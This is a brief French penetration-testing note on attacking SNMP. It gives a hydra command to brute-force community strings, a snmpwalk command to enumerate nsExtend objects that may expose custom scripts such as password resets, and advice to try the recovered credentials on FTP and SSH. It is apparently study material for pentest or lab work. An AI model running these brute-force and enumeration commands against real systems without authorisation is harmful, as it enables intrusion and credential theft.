notes / exploitation-des-services / 161-snmp / snmp-brute-force-community-strings-hydra

SNMP — brute force community strings (hydra)

hydra -P /usr/share/wordlists/seclists/Discovery/SNMP/common-snmp-community-strings.txt snmp://<IP>

Puis énumérer avec la communauté trouvée (souvent public/private). Les objets nsExtend révèlent des scripts custom exposés :

snmpwalk -v2c -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendObjects

Exemple générique : un nsExtend exotique (ex. RESET_PASSWD) peut révéler des opérations sensibles (réinitialisation de mot de passe, scripts maison) → tester ensuite les identifiants découverts sur les autres services (FTP, SSH).